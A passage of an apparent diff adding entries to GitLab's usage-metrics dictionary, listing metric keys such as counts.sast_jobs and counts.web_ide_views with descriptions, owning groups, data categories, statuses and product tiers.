+Count of projects with GitLab Managed Terraform State
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175322_projects_with_terraform_states.yml)
+
+Group: `group::configure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_tracing_enabled`
+
+Projects with tracing enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180929_projects_with_tracing_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_youtrack_active`
+
+Count of projects with active integrations for YouTrack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.protected_branches`
+
+Count of total protected branches
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182001_protected_branches.yml)
+
+Group: `group::source code`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.protected_branches_except_default`
+
+Count of branches that have been protected and are not the default branch
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182454_protected_branches_except_default.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.releases`
+
+Unique release tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181918_releases.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.remote_mirrors`
+
+Count of total remote mirrors. Includes both push and pull mirrors
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182002_remote_mirrors.yml)
+
+Group: `group::source code`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.requirement_test_reports_ci`
+
+Count of requirement test reports created from CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175032_requirement_test_reports_ci.yml)
+
+Group: `group::certify`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.requirement_test_reports_manual`
+
+Count of requirement test reports created manually
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175030_requirement_test_reports_manual.yml)
+
+Group: `group::certify`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.requirements_created`
+
+Count of requirements created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175028_requirements_created.yml)
+
+Group: `group::certify`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.requirements_with_test_report`
+
+Count of requirements having a test report
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175034_requirements_with_test_report.yml)
+
+Group: `group::certify`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.sast_jobs`
+
+Count of SAST CI jobs for the month. Job names ending in '-sast'
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182112_sast_jobs.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.secret_detection_jobs`
+
+Count of all 'secret-detection' CI jobs.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182114_secret_detection_jobs.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.service_desk_enabled_projects`
+
+Count of service desk enabled projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175024_service_desk_enabled_projects.yml)
+
+Group: `group::certify`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.service_desk_issues`
+
+Count of service desk issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175026_service_desk_issues.yml)
+
+Group: `group::certify`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.snippet_comment`
+
+Count of comments on Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180253_snippet_comment.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.snippet_create`
+
+Count of newly created Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180255_snippet_create.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.snippet_update`
+
+Count of updates to existing Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180257_snippet_update.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.snippets`
+
+Count of all Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180306_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.source_code_pushes`
+
+Count of total Git push operations
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182006_source_code_pushes.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.static_site_editor_commits`
+
+Count of commits created from the Static Site Editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.static_site_editor_merge_requests`
+
+Count of merge requests created via Static Site Editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.static_site_editor_views`
+
+Count of Static Site Editor views
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180259_static_site_editor_views.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.status_page_incident_publishes`
+
+Cumulative count of usages of publish operation
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.status_page_incident_unpublishes`
+
+Cumulative count of usages of unpublish operation
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.status_page_issues`
+
+Issues published to a Status Page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180507_status_page_issues.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.status_page_projects`
+
+Projects with status page enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180506_status_page_projects.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.successful_deployments`
+
+Total successful deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181911_successful_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.suggestions`
+
+Count of all comments that contain suggested changes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175037_suggestions.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.template_repositories`
+
+Count of total repo templates used to aggregate all file templates
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182008_template_repositories.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.templates_asana_active`
+
+Count of active service templates for Asana
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175627_templates_asana_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_assembla_active`
+
+Count of active service templates for Assembla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175638_templates_assembla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_bamboo_active`
+
+Count of active service templates for Bamboo CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_bugzilla_active`
+
+Count of active service templates for Bugzilla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_buildkite_active`
+
+Count of active service templates for Buildkite
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_campfire_active`
+
+Count of active service templates for Campfire
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175723_templates_campfire_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_confluence_active`
+
+Count of active service templates for Confluence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175734_templates_confluence_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_custom_issue_tracker_active`
+
+Count of active service templates for a Custom Issue Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_datadog_active`
+
+Count of active service templates for Datadog
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182551_templates_datadog_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_discord_active`
+
+Count of active service templates for Discord
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175756_templates_discord_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_drone_ci_active`
+
+Count of active service templates for Drone CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_emails_on_push_active`
+
+Count of active service templates for Emails on Push
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_ewm_active`
+
+Count of active service templates for EWM
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182618_templates_ewm_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_external_wiki_active`
+
+Count of active service templates for External Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_flowdock_active`
+
+Count of active service templates for Flowdock
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_github_active`
+
+Count of active service templates for GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175851_templates_github_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.templates_hangouts_chat_active`
+
+Count of active service templates for Hangouts Chat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_hipchat_active`
+
+Count of active service templates for HipChat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_irker_active`
+
+Count of active service templates for Irker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175924_templates_irker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_jenkins_active`
+
+Count of active service templates for Jenkins
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_jira_active`
+
+Count of active service templates for Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175946_templates_jira_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_mattermost_active`
+
+Count of active service templates for Mattermost
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_mattermost_slash_commands_active`
+
+Count of active service templates for Mattermost (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_microsoft_teams_active`
+
+Count of active service templates for Microsoft Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_mock_ci_active`
+
+Count of active service templates for Mock CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_mock_monitoring_active`
+
+Count of active service templates for Mock Monitoring
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_packagist_active`
+
+Count of active service templates for Packagist
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180030_templates_packagist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_pipelines_email_active`
+
+Count of active service templates for Pipeline Emails
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_pivotaltracker_active`
+
+Count of active service templates for Pivotal Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_prometheus_active`
+
+Count of active service templates for Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180934_templates_prometheus_active.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_pushover_active`
+
+Count of active service templates for Pushover
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180104_templates_pushover_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_redmine_active`
+
+Count of active service templates for Redmine
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180115_templates_redmine_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_slack_active`
+
+Count of active service templates for Slack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180126_templates_slack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_slack_slash_commands_active`
+
+Count of active service templates for Slack (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_teamcity_active`
+
+Count of active service templates for Teamcity CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_unify_circuit_active`
+
+Count of active service templates for Unifiy Circuit
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_webex_teams_active`
+
+Count of active service templates for Webex Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.templates_youtrack_active`
+
+Count of active service templates for YouTrack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.terraform_reports`
+
+Count of Terraform MR reports generated
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175324_terraform_reports.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.terraform_states`
+
+Count of GitLab Managed Terraform States
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175326_terraform_states.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.todos`
+
+Count of todos created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181256_todos.yml)
+
+Group: `group::project management`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.uploads`
+
+Count of Uploads via Notes and Descriptions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181109_uploads.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.user_preferences_group_overview_details`
+
+Count of users who set personal preference to see Details on Group information page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml)
+
+Group: `group::threat insights`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.user_preferences_group_overview_security_dashboard`
+
+Count of users who set personal preference to see Security Dashboard on Group information page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml)
+
+Group: `group::threat insights`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.user_preferences_user_gitpod_enabled`
+
+Count of users with the GitPod integration enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.web_hooks`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175621_web_hooks.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.web_ide_commits`
+
+Count of commits made from the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180242_web_ide_commits.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.web_ide_merge_requests`
+
+Count of merge requests created from the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.web_ide_pipelines`
+
+Count of Pipeline tab views in the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.web_ide_previews`
+
+Count of Live Preview tab views in the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180248_web_ide_previews.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.web_ide_terminals`
+
+Count of Web Terminal tab views in the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180250_web_ide_terminals.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.web_ide_views`
+
+Count of views of the Web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180244_web_ide_views.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.wiki_pages_create`
+
+Count of all Wiki pages created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180734_wiki_pages_create.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.wiki_pages_delete`
+
+Count of all Wiki pages deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.wiki_pages_update`
+
+Count of all Wiki page updates
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180736_wiki_pages_update.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.wiki_pages_view`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183023_wiki_pages_view.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts_monthly.aggregated_metrics.code_review_category_monthly_active_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.code_review_extension_category_monthly_active_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.code_review_group_monthly_active_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts_monthly.aggregated_metrics.compliance_features_track_unique_visits_union`
+
+Unique users that have used audit event screen, audit event API, compliance dashboard, or credential inventory
+
